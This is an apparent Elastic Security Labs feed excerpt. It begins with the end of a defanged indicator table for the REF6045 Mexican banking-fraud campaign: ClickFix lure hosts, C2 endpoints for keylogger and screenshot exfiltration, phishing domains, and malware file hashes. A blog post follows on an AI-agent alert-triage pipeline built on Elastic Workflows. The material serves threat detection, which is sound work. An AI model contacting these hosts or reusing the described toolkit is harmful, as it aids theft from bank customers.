<td align="left"><code>https://ratonvaquero2026[.]online/</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">ClickFix lure host</td>
</tr>
<tr>
<td align="left"><code>https://ratonvaquero2026[.]online/files/</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">Toolkit file host</td>
</tr>
<tr>
<td align="left"><code>monteviral2026.duckdns[.]org</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">ClickFix / file host</td>
</tr>
<tr>
<td align="left"><code>https://monteviral2026.duckdns[.]org/</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">ClickFix lure host</td>
</tr>
<tr>
<td align="left"><code>https://monteviral2026.duckdns[.]org/files/</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">Toolkit file host</td>
</tr>
<tr>
<td align="left"><code>osogransd[.]online</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">ClickFix / file host</td>
</tr>
<tr>
<td align="left"><code>https://osogransd[.]online/</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">ClickFix lure host</td>
</tr>
<tr>
<td align="left"><code>https://osogransd[.]online/files/</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">Toolkit file host</td>
</tr>
<tr>
<td align="left"><code>negratomasa2026[.]online</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">REF6045 C2</td>
</tr>
<tr>
<td align="left"><code>https://negratomasa2026[.]online/dashboard2/recData.php</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">C2 beacon POST endpoint</td>
</tr>
<tr>
<td align="left"><code>https://negratomasa2026[.]online/dashboard2/avisos2.php</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">Banking session alert endpoint</td>
</tr>
<tr>
<td align="left"><code>https://negratomasa2026[.]online/dashboard2/imagenes.php</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">Screenshot upload endpoint</td>
</tr>
<tr>
<td align="left"><code>https://negratomasa2026[.]online/dashboard2/logs.php</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">Keylogger exfil endpoint</td>
</tr>
<tr>
<td align="left"><code>https://negratomasa2026[.]online/a/teleavisos.txt</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">Remote config (arbitrary PowerShell)</td>
</tr>
<tr>
<td align="left"><code>https://negratomasa2026[.]online/b/listadebancos.txt</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">Banking window-title keywords</td>
</tr>
<tr>
<td align="left"><code>https://negratomasa2026[.]online/b/keysnegativas.txt</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">Negative keyword filter config</td>
</tr>
<tr>
<td align="left"><code>https://negratomasa2026[.]online/a/telekeylogger.txt</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">Telegram keylogger credentials config</td>
</tr>
<tr>
<td align="left"><code>https://negratomasa2026[.]online/b/urlsscams.txt</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">Phishing redirect target list</td>
</tr>
<tr>
<td align="left"><code>https://negratomasa2026[.]online/b/clabes.txt</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">CLABE replacement values</td>
</tr>
<tr>
<td align="left"><code>https://negratomasa2026[.]online/b/tarjetas.txt</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">Card-number replacement values</td>
</tr>
<tr>
<td align="left"><code>https://negratomasa2026[.]online/b/editor.php</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">C2 exposed config editor</td>
</tr>
<tr>
<td align="left"><code>gestionmontelavaria2026[.]online</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">REF6045 C2</td>
</tr>
<tr>
<td align="left"><code>https://gestionmontelavaria2026[.]online/dashboard2/recData.php</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">C2 beacon POST endpoint (monteviral variant)</td>
</tr>
<tr>
<td align="left"><code>https://gestionmontelavaria2026[.]online/b/editor.php</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">C2 exposed config editor</td>
</tr>
<tr>
<td align="left"><code>ssinvestigaciones[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">ClickFix post-CAPTCHA tracking endpoint</td>
</tr>
<tr>
<td align="left"><code>https://ww.ssinvestigaciones[.]com/login3.php</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">ClickFix post-CAPTCHA tracking endpoint</td>
</tr>
<tr>
<td align="left"><code>bancaporinternetbbmx[.]online</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Phishing page</td>
</tr>
<tr>
<td align="left"><code>https://bancaporinternetbbmx[.]online</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">Phishing redirect destination</td>
</tr>
<tr>
<td align="left"><code>b30cb0aa977aacdab94d2ef503186c8f0b2fc10d7cf0d7c7c0ada70c127dc7e8</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>zkt.zip</code></td>
<td align="left">Exposed web-root archive</td>
</tr>
<tr>
<td align="left"><code>554f1aefeb698995501751328c2f9fe93f02a680679fba3dd15f1ed93d46bf1b</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>validation.txt</code></td>
<td align="left">First-stage batch payload</td>
</tr>
<tr>
<td align="left"><code>ff3555154e91e42490cc722b6c7f3c4c91654b7ef53a35d0719ffb89accf1b27</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>run.vbs</code></td>
<td align="left">Master launcher</td>
</tr>
<tr>
<td align="left"><code>526287a40aad1b218228cdd1f459ad3b93f858585048347644d597c6ab19515a</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>cliente.ps1</code></td>
<td align="left">C2 beacon</td>
</tr>
<tr>
<td align="left"><code>685d29ce8a550feb3a9e1d1c5926ec5e927615cf34aab62c108a812a1eb6737c</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>jujuzkt.ps1</code></td>
<td align="left">Banking activity monitor</td>
</tr>
<tr>
<td align="left"><code>8c87ea94401fa97d3743a87604e088d1a29c7b06cf9673623941a42da68452a6</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>jujuzkt2.ps1</code></td>
<td align="left">Active browser redirect module</td>
</tr>
<tr>
<td align="left"><code>6dcd7fdd5e088d98d861cbd1cb74a7b83ae5508f4dbb617413bcbe7fbc8a82e2</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>mensaje1.ps1</code></td>
<td align="left">Vishing dispatcher</td>
</tr>
<tr>
<td align="left"><code>4d9c160ebb44507b11f0e6421f691900284f25b5530a23d9fd50de0ae01663ca</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>mensaje.ps1</code></td>
<td align="left">Hard-lock vishing overlay</td>
</tr>
<tr>
<td align="left"><code>0315d4a7bc14654ad66d4c2b98920b92ca18cbc231b3ce5fba1fcac70b828e19</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>mensajeoff.ps1</code></td>
<td align="left">Soft-lock vishing overlay</td>
</tr>
<tr>
<td align="left"><code>5d17645548a44fe39d3cc816ffa3933321c1eb8b08a8f4348e3cd82f25112c81</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>rotor1.ps1</code></td>
<td align="left">Screenshot module invoker</td>
</tr>
<tr>
<td align="left"><code>566f4bfdfea54129b8528d50cae187a9030e2f2787749add4b0db22ac35ea581</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>screen2.ps1</code></td>
<td align="left">Screenshot module</td>
</tr>
<tr>
<td align="left"><code>882d582e85d5bb7abbdde791a2d52e3b1bb7dd7f79c20318ce64b74249221fdb</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>rotor2.ps1</code></td>
<td align="left">Vishing dispatcher rotator</td>
</tr>
<tr>
<td align="left"><code>eea08fbf3720d638af1d313d3ce369708b77d7891379d5c5871dd7f36667ed0c</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>clip.ps1</code></td>
<td align="left">CLABE clipboard hijacker</td>
</tr>
<tr>
<td align="left"><code>70140aa236d630a7d5ed08be3dafcccea9a8b0eec6dadf8c1cf1b96d8f608609</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>clip2.ps1</code></td>
<td align="left">Card-number clipboard hijacker</td>
</tr>
<tr>
<td align="left"><code>6c8ba7127a83431432e85946976c18bb3f3e9bf9def68aae572cd1d9d73604c7</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>avs.ps1</code></td>
<td align="left">Remote Utilities downloader</td>
</tr>
<tr>
<td align="left"><code>81a4512db985359ed361755da58a1177b07632b5aee951c68a6ace54f4d0534b</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>instaler.ps1</code></td>
<td align="left">Remote Utilities installer launcher</td>
</tr>
<tr>
<td align="left"><code>3d9015429d65276869ceb9c91f10d6474b1098042db75949c49b9f1682c1f3ae</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>remoto.ps1</code></td>
<td align="left">Remote Utilities configurator</td>
</tr>
<tr>
<td align="left"><code>5bc85b604eb37ffa1e67c57f4744b55ef876a1ab442e2a2440550ef0922aeec7</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>correr.ps1</code></td>
<td align="left">Arbitrary PowerShell executor</td>
</tr>
<tr>
<td align="left"><code>30ff24faad80184bb43660a8bd317df99a8d09d31bae3b446aaa876543f2620f</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>key.ps1</code></td>
<td align="left">Telegram-backed keylogger</td>
</tr>
<tr>
<td align="left"><code>4b7b35b921d7615b7a82a42c379560d1b0c5a74c81311a269874195ba2744f2d</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>cursor2.exe</code></td>
<td align="left">Invisible-cursor utility</td>
</tr>
<tr>
<td align="left"><code>5c7ab9e90b05804d07e9d803f85462bc1a44d0726256bad28219984ee2b5772f</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>cursor2.exe</code></td>
<td align="left">Invisible cursor resource dropped by cursor2.exe</td>
</tr>
<tr>
<td align="left"><code>32d981b3e7c36aa7030cfd9ee412bff742e00b36c39c80634b2681f89de4a487</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>hosts.msi</code></td>
<td align="left">Remote Utilities installer</td>
</tr>
<tr>
<td align="left"><code>cd7b179dd98848a02b9a1d4ebfeee26cdbb317b4ad53eb50786e18515b0cf804</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>ini.ps1</code></td>
<td align="left">Delayed launcher</td>
</tr>
<tr>
<td align="left"><code>345e8a90b7b762b065333cd068811d88086d157be713d89bdf200c927645f3d8</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>remo.ps1</code></td>
<td align="left">IP-gated launcher</td>
</tr>
<tr>
<td align="left"><code>0ec9b518f84b6bdc0e843b89fa755522ec67db862414ad16bdcaa8c2be25485c</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>edifhjwe.ps1</code></td>
<td align="left">Self-updater</td>
</tr>
<tr>
<td align="left"><code>26f906a2a4276b1968a8ce956a7b342aa9bc26f60d32c14668223877f569fb3f</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>rotor.ps1</code></td>
<td align="left">Keylogger rotator</td>
</tr>
<tr>
<td align="left"><code>13bfd0f695cea1d6ae570a7ca056ffe930467be73a26f29f95209618f383bd2d</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>4.bat</code></td>
<td align="left">Early version of run.vbs</td>
</tr>
</tbody>
</table>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/mexican-banking-fraud-scmbanker-ref6045.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Inside Elastic InfoSec's agentic SOC: cutting alert triage from 30 minutes to under 3]]></title>
            <link>https://www.elastic.co/kr/security-labs/alert-triage-agentic-soc-elastic-workflows</link>
            <guid>alert-triage-agentic-soc-elastic-workflows</guid>
            <pubDate>Thu, 02 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic's InfoSec team built AI agents on Elastic Workflows that investigate every alert and assemble the case before an analyst ever opens it.]]></description>
            <content:encoded><![CDATA[<p>Elastic's InfoSec team built an agentic SOC that triages every alert before an analyst opens it. A 30-minute manual investigation now finishes in under 3 minutes: deterministic ES|QL queries close obvious false positives at zero token cost, specialized AI agents investigate the rest across endpoint, cloud, and SaaS domains, and a Final Review agent writes the verdict to a Kibana case. The whole pipeline runs on Elastic's native stack (<a href="https://www.elastic.co/kr/docs/explore-analyze/workflows">Workflows</a>, <a href="https://www.elastic.co/kr/docs/explore-analyze/ai-features/elastic-agent-builder">Agent Builder</a>, the <a href="https://www.elastic.co/kr/docs/explore-analyze/elastic-inference/eis">Elastic Inference Service</a>, and <a href="https://www.elastic.co/kr/guide/en/security/current/cases-overview.html">Kibana Cases</a>) with no third-party orchestrator, and inference routed only to providers documented with zero data retention.</p>
<p>AI-assisted attacks have compressed the timeline from initial access to exfiltration from days to hours, and traditional manual alert triage cannot keep pace. Hiring more analysts does not scale with alert volume. The <a href="https://www.elastic.co/kr/what-is/agentic-security-ops">Agentic SOC</a> pattern fixes this gap: automate the investigation work that does not require human judgment so analysts can focus on the alerts that do.</p>
<p>Note that we use a workflow as our Agentic SOC orchestration layer instead of an Agent. We chose to use a workflow for orchestration instead of an Agent because of the scale we are operating at. A workflow is deterministic, fast, and does not consume tokens. When you are triaging tens of thousands of alerts per month, this can make a huge difference in costs and performance.</p>
<p>For a security team processing sensitive alert data, the inference layer's data handling matters. The <a href="https://www.elastic.co/kr/docs/explore-analyze/elastic-inference/eis-supported-models">Elastic Inference Service</a> routes requests to trusted third-party model providers that operate with zero data retention and do not use inputs to train models. Per-model data retention and training-data status are documented on the <a href="https://www.elastic.co/kr/docs/explore-analyze/elastic-inference/eis-supported-models">EIS supported-models page</a> so customers can verify the status of the specific model their pipeline uses. For airgapped or highly sensitive environments, the same pipeline can run against a model hosted on your own infrastructure.</p>
<p>At Elastic, our InfoSec team operates as &quot;Customer Zero.&quot; We run the newest versions of Elastic Security in our production environment, often before they are released publicly. Our fleet spans thousands of laptops, servers, and cloud workloads across a globally distributed workforce. We are the first and most demanding user of every feature we ship, including the Workflows and Agent Builder platforms.</p>
<p>Our Agentic SOC journey started with a single <a href="https://www.elastic.co/kr/docs/explore-analyze/ai-features/elastic-agent-builder">Agent Builder</a> triage agent in Elastic Security 9.2. It handled workstation alerts well, where the investigation pattern is consistent, but we found that SaaS provider logs and <a href="https://www.elastic.co/kr/security-labs/higher-order-detection-rules">Higher-Order</a> threshold alerts required a more specialized methodology. That gap drove our move to domain-specific agents.</p>
<h2>Alert triage with Workflows and ES|QL: closing alerts without AI</h2>
<p>The principle behind this first step is simple: any check that can be resolved by a query should be a query, not an LLM call. ES|QL queries are deterministic, auditable, fast, and cost nothing in tokens. An LLM call is non-deterministic, slower, more expensive, and introduces failure modes (hallucinated facts, prompt injection, inconsistent reasoning across runs) that a query does not have. Most false-positive patterns in a mature SOC are well understood and can be expressed in code, so spending tokens to reason about them is a wasted cost. The LLM is the right tool for the alerts where the data is genuinely ambiguous, not for the ones a query can close cleanly.</p>
<p>This builds on the approach we described in our earlier <a href="https://www.elastic.co/kr/blog/false-positives-automated-siem-investigations-elastic-tines">automated SIEM investigation post</a> using Tines, where many of these same triage checks ran as Tines stories. Bringing them into Elastic Workflows keeps the full pipeline inside Kibana.</p>
<p>Detection rules in Kibana support a new <a href="https://www.elastic.co/kr/docs/solutions/security/detect-and-alert/common-rule-settings#rule-notifications">workflow action</a>. When you configure this on a rule, every alert the rule generates is automatically sent to the designated workflow with no manual intervention. Our orchestration workflow is the entry point for the entire pipeline. Each workflow has a trigger configuration that tells it how it is expected to be called. To use workflows with alerts, the trigger configuration is straightforward:</p>
<pre><code>triggers:
  - type: alert
</code></pre>
<p>Our detection engineers tag rules with triage categories (<code>Triage: Workstation</code>, <code>Triage: PMFA</code>, <code>Triage: Asset</code>, <code>Triage: All</code>) that control which checks run. A workstation rule runs device and user identity checks. An infrastructure rule runs broader asset and CI/CD checks. This tagging is how you express &quot;what does a false positive look like for this rule&quot; at authoring time, and the workflow enforces it automatically. The rule's tags appear on every alert it generates in the <code>kibana.alert.rule.tags</code> field.</p>
<p>Our workflow groups triage checks by alert type. For alerts from IP-based sources (Okta, AWS, Azure, GCP, GitHub, and similar), the workflow runs up to 16 ES|QL queries across our asset inventory, fleet data, and SaaS audit logs to determine whether the source IP belongs to known corporate infrastructure. Here is one example, checking whether the source IP has an active low-risk Okta session that indicates phishing-resistant MFA was used from this IP:</p>
<pre><code>- name: ip_okta_consolidated
  type: elasticsearch.esql.query
  with:
    query: |
      FROM logs-okta*
      | WHERE source.ip == &quot;{{ event.alerts[0].source.ip }}&quot;
        AND @timestamp &gt; NOW() - 24h
        AND event.action == &quot;policy.evaluate_sign_on&quot;
        AND okta.debug_context.debug_data.risk_level == &quot;LOW&quot;
      | KEEP @timestamp, source.ip, user.email, event.action
      | LIMIT 1
</code></pre>
<p>If any query returns a result (for example, the source IP matches a successful low-risk Okta login), the workflow closes the alert immediately and adds the workflow tag <code>Closed: Okta PMFA IP</code>:</p>
<pre><code>- name: close_alert_okta
  type: kibana.request
  with:
    method: POST
    path: &quot;/s/{{ consts.space_id }}/api/detection_engine/signals/status&quot;
    body:
      signal_ids:
        - &quot;{{ event.alerts[0].kibana.alert.uuid }}&quot;
      status: closed
</code></pre>
<p>No tokens used. No case created. The alert is closed.</p>
<h2>ES|QL enrichment: building the shared alert context every agent reads</h2>
<p>Alerts that survive the triage step go on to the enrichment portion of the workflow. This step gathers all the supporting information needed to provide context about the activity in order to accurately triage an alert. Any query that an analyst would run to investigate an alert should be added to the workflow. Our workflow queries more than 20 data sources using the values from the alert's ECS fields:</p>
<ul>
<li>User and host names checked against Entity Risk scoring.</li>
<li>User Okta login locations and devices from the last 7 days.</li>
<li>Asset Inventory information for a complete profile of the users involved.
<ul>
<li>User asset inventory: work role, geographic location, assigned workstations.</li>
<li>For workstation alerts, the asset inventory finds the owner, then pulls that user's profile.</li>
</ul>
</li>
<li>Cloud account ownership.
<ul>
<li>All entity information for any service account or cloud asset in the alert.</li>
</ul>
</li>
<li>Source IP activity across AWS, Azure, GCP, Google Workspace, Office 365, Salesforce, and GitHub.</li>
<li>List of all alerts for the same user, workstation, and <code>source.ip</code> in the last 72 hours.</li>
<li>Specialized enrichment tailored to the alerts datasource to assist the specialized triage agents.
<ul>
<li>Any context we can provide to the specialized agents via ESQL helps reduce the number of LLM calls made by the agents, which can dramatically reduce overall costs.</li>
</ul>
</li>
<li>Recent cases containing the same observables as the alert
<ul>
<li>Case outcome, alert names, and summary; flag if the case was marked false positive with the same alert.</li>
</ul>
</li>
</ul>
<p>The workflow assembles the results into a note for the Initial Triage agent's prompt; if a case is later opened, the same note is added as one of the first comments. Every downstream agent reads this note rather than re-running the same queries.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/alert-triage-agentic-soc-elastic-workflows/image3.png" alt="Example Enrichment context added to the case" /></p>
<h2>The Initial Triage agent: automated alert triage in under a minute</h2>
<p>The Initial Triage agent is the first agent in the pipeline, and its output determines the workflow path. The primary additional source we provide this agent is the <a href="https://www.elastic.co/kr/security-labs">Elastic Security Labs</a> knowledge base, which lets it compare the alert against every published Elastic article on threat actor techniques and malware behavior. The agent’s job is to do a structured assessment of the alert. The first line of its response must follow a specific format, and the workflow uses a substring check to parse it. The Verdict can only be <code>True Positive</code> or <code>False Positive</code>, the Assessment can only be <code>malicious</code>, <code>suspicious</code>, <code>unknown</code> or <code>benign</code>, and the Confidence can only be <code>high</code> or <code>low</code>.</p>
<pre><code>## Verdict: True Positive | Assessment: suspicious | Confidence: high
**Reason:** One-line explanation.
**Summary:** 
Short report about the alert with a max size of 3000 characters.
</code></pre>
<p>If the verdict is <code>False Positive</code> and the confidence is <code>high</code>, the workflow adds a <a href="https://www.elastic.co/kr/guide/en/security/current/timeline-api-update.html">timeline note</a> to the alert and closes it. The whole path, from alert trigger through enrichment to the Initial Triage close, typically completes within a minute at a token cost of around 50k tokens. For an alert that would have taken an analyst 15 minutes or more to investigate manually, that is a significant reduction in both cost and response time.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/alert-triage-agentic-soc-elastic-workflows/image5.png" alt="Initial Triage agent note with a false positive verdict" /></p>
<p>If the verdict is anything other than a high-confidence false positive, the workflow moves to the case path.</p>
<p>The Initial Triage agent is intentionally narrow in scope to increase speed and reduce token usage. The initial triage agent only uses an average of 50k tokens per use; a general-purpose agent can consume 500k or more tokens per use. If your Agentic SOC is triaging 10,000 alerts per month, this is a huge cost savings when your initial triage agent can close even 5,000 of those alerts. This limited scope also keeps the agent fast, predictable, and affordable.</p>
<h2>Opening a Kibana case and dispatching the Specialized agents</h2>
<p>When the workflow does not close the alert, it opens a new case in <a href="https://www.elastic.co/kr/guide/en/security/current/cases-overview.html">Kibana Cases</a>, our SOC's case management system, and attaches the alert and enrichment context to the case. Every alert that needs deeper investigation gets its own case, which becomes the shared workspace for everything that happens next. The workflow attaches the alert as the first artifact, then adds the full enrichment as a comment. The workflow also adds the detection rule investigation guide to the case as a separate comment to help guide the following agents. Every downstream Specialized agent writes its findings to the same case as a comment, and our analysts manage, comment on, link, and resolve those cases in the same view they already use for the rest of our incident response work. The enrichment is already there when the Specialized agents run; they do not have to re-derive it.</p>
<p>Routing to the Specialized agents uses ECS fields from the alert: <code>agent.type</code> and <code>host.os.type</code> for endpoint alerts, and <code>event.dataset</code> for cloud and SaaS alerts. Only the relevant agents are run. A macOS endpoint alert triggers the macOS Forensics agent, not the GCP or Azure agents. An AWS CloudTrail alert triggers the AWS agent and the Cloud Forensics agent, not the endpoint agents. This reduces unnecessary token usage.</p>
<table>
<thead>
<tr>
<th align="left">Specialized agent</th>
<th align="left">Domain</th>
<th align="left">Data sources</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Threshold Enrichment</td>
<td align="left">Contributing alerts for threshold rules</td>
<td align="left">Alerts index, entity resolution</td>
</tr>
<tr>
<td align="left">macOS Forensics</td>
<td align="left">macOS endpoint</td>
<td align="left"><a href="https://www.elastic.co/kr/docs/reference/integrations/elastic-defend"><code>logs-endpoint.events.*</code></a>, process entity IDs</td>
</tr>
<tr>
<td align="left">Windows Forensics</td>
<td align="left">Windows endpoint</td>
<td align="left"><a href="https://www.elastic.co/kr/docs/reference/integrations/elastic-defend"><code>logs-endpoint.events.*</code></a>, <a href="https://www.elastic.co/kr/docs/reference/integrations/windows"><code>logs-winlog.*</code></a></td>
</tr>
<tr>
<td align="left">Linux Forensics</td>
<td align="left">Linux endpoint</td>
<td align="left"><a href="https://www.elastic.co/kr/docs/reference/beats/auditbeat"><code>auditbeat-*</code></a></td>
</tr>
<tr>
<td align="left">AWS CloudTrail</td>
<td align="left">AWS API activity</td>
<td align="left"><a href="https://www.elastic.co/kr/docs/reference/integrations/aws/cloudtrail"><code>logs-aws.cloudtrail*</code></a></td>
</tr>
<tr>
<td align="left">Okta</td>
<td align="left">Authentication and sessions</td>
<td align="left"><a href="https://www.elastic.co/kr/docs/reference/integrations/okta"><code>logs-okta*</code></a></td>
</tr>
<tr>
<td align="left">Azure</td>
<td align="left">Azure AD and activity</td>
<td align="left"><a href="https://www.elastic.co/kr/docs/reference/integrations/azure"><code>logs-azure.*</code></a></td>
</tr>
<tr>
<td align="left">GCP</td>
<td align="left">GCP audit logs</td>
<td align="left"><a href="https://www.elastic.co/kr/docs/reference/integrations/gcp"><code>logs-gcp*</code></a></td>
</tr>
<tr>
<td align="left">Cross Cloud Forensics</td>
<td align="left">Examining entity behavior through multi-cloud environments</td>
<td align="left">AWS, Azure, GCP indices</td>
</tr>
<tr>
<td align="left">Same-Rule Recent Cases</td>
<td align="left">Prior cases for this rule</td>
<td align="left">Kibana Cases API</td>
</tr>
<tr>
<td align="left">SaaS Activity</td>
<td align="left">Investigate user or IP activity in SaaS logs such as Slack, Office 365, Google Workspace</td>
<td align="left">Multiple Elastic integrations</td>
</tr>
</tbody>
</table>
<p>Each Specialized agent has a specific investigation methodology written directly into its system prompt. This is different from using a broad agent with many skills. A broad agent, which is excellent for analyst-led chat sessions where a human can steer it, can load the needed skills to investigate alerts depending on what it thinks it needs at that time. For automation, that runtime decision-making and skill loading adds costs from LLM calls and produces less consistent results.</p>
<p>We tested this trade-off in detail on the companion post part 2, which will be published soon. The short version: when an agent runs in automation, the dominant cost driver is the number of LLM calls it makes, because each call carries the full conversation history with it. It is a little counterintuitive, but sometimes using a longer system prompt that tells the agent exactly what to do reduces total cost by eliminating the LLM calls the agent would otherwise spend deciding what to do next. That is why every agent in our pipeline has a precise, methodology-rich prompt rather than a thin one with skill delegation.</p>
<h3>MacOS Forensics agent: an example investigation</h3>
<p>The agent prompt frames the agent's role precisely: it is a macOS forensic examiner whose job is to document what happened, not to decide whether the activity is malicious. The instructions are explicit and repeated: the agent must not include any verdict, assessment, or judgment (benign, malicious, suspicious, true positive, false positive). That call belongs to the Final Review agent later in the pipeline. To support its investigation, the agent has a tight tool set: ES|QL queries against endpoint events, a dedicated <code>endpoint.process.entity_id</code> tool for pulling all related network and file events for a given process, an alerts lookup for cases where <code>process.entity_id</code> is missing, and <code>security.security_labs_search</code>, which gives it access to the <a href="https://www.elastic.co/kr/security-labs">Elastic Security Labs</a> knowledge base. The Security Labs tool lets the agent check command lines, hashes, or file paths against every published Elastic article on threat actor techniques and malware behavior, so it can flag known malicious indicators directly rather than reasoning about them from scratch.</p>
<p>Here is a condensed view of the macOS forensics investigation workflow from the agent's instructions. The full prompt includes example ES|QL queries and lists of fields for the agent to keep.</p>
<pre><code>You are a forensic examiner specializing in **MacOS** endpoint forensics. Your job is to document **what happened**, not to judge whether it is malicious or benign. You receive an alert plus pre-enriched context (including host and owner when available). The workflow has already run ESQL queries to pre-gather MacOS endpoint context (recent process and file events on this host). This pre-gathered data is included in your message. Perform a focused deep-dive using process tree analysis and return factual findings.

Constraints:
- Never pull &quot;full documents&quot; when a tiny field set is enough. Always **KEEP** only required fields and use a small **LIMIT**.
- You have **120 seconds** total. Optimize for speed and reliability.
- Do NOT include any verdict, assessment, or judgment (benign/malicious/suspicious/true positive/false positive). Your report is purely factual.
- the process.entity_id field from the alert is unique to the process that triggered the alert, use this field for finding related events. 
- All MacOS endpoint data is located in the logs-endpoint.* index and the SIEM alerts are in the .alerts-security.alerts-* index. Do not use any other index

Investigation Steps:

1. Process tree: query endpoint.process_entity_id with the alerting process's entity_id, then extract process.Ext.ancestry to find parent and grandparent processes.
2. Ancestry trace: query each non-system parent's entity_id, up to 2 hops. Stop tracing at well-known high-event processes (launchd, WindowServer, kernel_task, loginwindow, node, Cursor, Code Helper, Electron, python, Terminal, iTerm2, zed). They add no forensic value and waste the query budget.
3. Command line analysis: look for script abuse (bash, zsh, python, osascript), execution from /tmp or /var/folders, persistence via LaunchAgents/LaunchDaemons.
4. File and network: note file.path under /Applications, ~/Library, or /usr/local; unusual outbound connections.

Output: process tree ASCII art, 2-3 key observations, chronological timeline. Note any network connections or files created. Include process and user names, the entity_id fields are unique strings and not descriptive for users.
</code></pre>
<p>The &quot;no verdict&quot; constraint is intentional. The Specialized agents are fact-finders. Their output is purely what happened. The assessment of whether those findings are malicious, suspicious, or benign belongs to the Final Review agent. Keeping facts and verdict in separate agents prevents the interpretation in one domain's findings from biasing the final call.</p>
<p>Every Specialized agent writes its findings to the case as a separate comment. The case accumulates a structured audit trail: enrichment, the Initial Triage assessment, and one comment per Specialized agent that ran.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/alert-triage-agentic-soc-elastic-workflows/image2.png" alt="Example output from the MacOS Forensics agent" /></p>
<h2>The Final Review agent: the final alert triage checkpoint</h2>
<p>The Final Review agent is the synthesis agent. It has only two built-in tools: <code>platform.core.cases</code> and <code>security.security_labs_search</code>. It reads the case, including all comments and the attached alerts, compares that information to the Elastic Security Labs knowledge base, and writes the final analyst-facing report using all of the available information.</p>
<p>The constraints are tight by design. The Final Review agent does not query for additional data; it cannot look up anything that is not already in the case. This forces the workflow to ensure all relevant data is in the case before the Final Review agent runs, and it ensures its output is grounded entirely in the evidence already assembled.</p>
<p>The report begins with a required header that the workflow parses the same as the Initial Triage agent:</p>
<pre><code>## Verdict: True Positive | Assessment: malicious | Confidence: high
**Summary:** Unauthorized IAM role creation from external IP with no
matching Okta session or corporate asset context.
</code></pre>
<p>After the verdict header, the Final Review agent produces a one-paragraph summary of the findings followed by the detailed report. The detailed report includes:</p>
<ul>
<li>A list of all entities involved and a Cross Entity Behavior Analytics (CEBA) report that maps relationships between them (user, endpoint, source IP, cloud account).</li>
<li>All recent alerts from those entities.</li>
<li>A numbered list of recommended actions for the analyst.</li>
<li>A chronological timeline of events from the alert and the Specialized agents' findings.</li>
</ul>
<p>If the Final Review verdict is <code>False Positive</code> with <code>high</code> confidence, the workflow closes the case and the alert. If the Final Review verdict is <code>True Positive</code> with <code>high</code> confidence, we can have the workflow increase the case severity and send a message in Slack or PagerDuty to the analysts depending on the criticality of the alert. The workflow then updates the case summary with the verdict and summary so the analyst sees the main findings and recommended actions at the top of the case without having to scroll through the full comment thread first.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/alert-triage-agentic-soc-elastic-workflows/image4.png" alt="Example Final Review verdict" /></p>
<h2>What the analyst sees after automated alert triage</h2>
<p>Instead of starting from scratch with an alert, the analyst finds a fully investigated case already assembled. Most of the queries they would have done during the investigation are already complete. The Kibana case contains:</p>
<ul>
<li>The alert that triggered the case.</li>
<li>The full enrichment note: source IP activity across all relevant data sources, user profile and Okta stats, workstation or cloud account context, and correlated alerts from the last 72 hours.</li>
